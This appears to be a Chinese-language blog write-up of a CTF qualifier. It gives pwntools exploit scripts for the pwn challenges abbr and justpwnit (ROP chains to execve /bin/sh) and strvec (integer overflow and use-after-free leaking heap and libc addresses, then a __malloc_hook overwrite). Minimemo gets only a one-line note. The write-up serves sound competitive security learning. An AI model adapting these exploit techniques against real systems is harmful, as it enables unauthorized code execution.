Quals
1.abbr
这题给了源码和自己写的.h文件还有编译后的程序,是一个堆溢出,

将english_expand函数的地址替换成我们想执行的gadget,之后就可以布置rop了。想办法找控制rsp的gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import * p = process("./abbr")
payload = b"wwwwww"+(0x1000-16)*b"a" + p64(0x405121)
p.sendlineafter("Enter text: ",payload)
data = 0x4c90e0 pop_rdi = 0x4018da pop_rsi = 0x404cfe pop_rax = 0x45a8f7 pop_rdx = 0x4017df mov_rdi_rsi = 0x45684f syscall = 0x4012e3
payload=p64(pop_rdi)+p64(data)+p64(pop_rsi)+b"/bin/sh\x00"+p64(mov_rdi_rsi)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(pop_rax)+p64(0x3b)+p64(syscall)
p.sendlineafter("Enter text: ", payload)
p.interactive()
|
2.justpwnit


伪造rbp,即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import * p = process("./justpwnit")
pop_rdi = 0x0000000000401b0d pop_rsi = 0x00000000004019a3 pop_rdx = 0x0000000000403d23 syscall = 0x00000000004013e9 pop_rax = 0x0000000000401001 bss = 0x40c240
mov_rax_rsi = 0x0000000000406c32
payload = p64(0) + p64(pop_rsi) + b"/bin/sh\x00" + p64(pop_rax) + p64(bss) + p64(mov_rax_rsi) +p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(0x3b) + p64(syscall) p.sendlineafter(b"Index: ",b"-2")
p.sendafter(b"Data: ",payload)
p.interactive()%
|
2.strvec
这比赛初赛一共有五道题,除了上面两个,这个应该是最简单的了,先看下。
放入ida看下,是一个菜单题,只有get/set两个功能
程序一开始会创建一个存放vector的chunk,get功能就是获得vector,set就是设置vector,有UAF的漏洞



1.leak_heap
get功能相当于有了show的作用,在vector_new函数内存在整数溢出,如果counts等于0x100000004时,在vector_set时会将堆地址存到堆里面。就相当于形成了自连,从而get可以泄露heap_base
2.leak_libc
利用set功能可以进行free,其中需要计算一些index和偏移。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| from pwn import * p = process("./strvec") elf = ELF("./strvec") libc = elf.libc context.log_level = "debug"
def get(index): p.sendlineafter("> ",str(1)) p.sendlineafter("idx = ",str(index))
def set(index,content,check=True): p.sendlineafter("> ",str(2)) p.sendlineafter("idx = ",str(index)) p.sendlineafter("data = ",content)
def g(): gdb.attach(p) pause()
def get_idx(offset): return (offset - 0x2a8) // 8
try: p.sendlineafter("Name: ","eeee") p.sendlineafter("n = ",str(1<<29|4)) set(5,p64(0)) get(5) p.recvuntil("vec.get(idx) -> ") heap_base = u64(p.recv(6).ljust(8,b"\x00")) - 0x2d0 success("heap_base:"+hex(heap_base))
fake = p64(0) + p64(0x811) + p64(0)*2 set(1,fake[:30]) offset = 1 while (offset * 0x30 <= 0x810): offset += 1 set(0x1700 + offset, (p64(0x51) + p64(0x51) + p64(0x51) + p64(51))[:30]) print(offset) set(0x1700 + offset + 1, p64(heap_base + 0x310) + b'e' * 0x10) offset = offset+1
set((0x300+offset*0x30-0x2a8)//8,p64(heap_base + 0x310) + b'f' * 0x10) offset = offset-1 get((0x300+offset*0x30-0x2a8)//8) libc_base = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) - 0x1ebbe0 success("libc_base:"+hex(libc_base))
offset = 0x310 for i in range(7): set(0x1780 + i, p64(0) + p64(0x291) + b'free') set(get_idx(offset + 0x30), p64(heap_base + offset + 0x10)) offset += 0x60
set(5,p64(libc_base+libc.sym["__malloc_hook"])+p64(heap_base+0x10)) set(5,p64(heap_base+0x10)) set(2,b"e") set(3,p64(libc_base+0xe6c81))
set(-1,"",False)
except EOFError: pass
p.interactive()
|
此题参考了其他师傅的博客,能力实在有限,不会堆┭┮﹏┭┮~~
4.minimemo
可以溢出到notelist_t的fd的低四字节。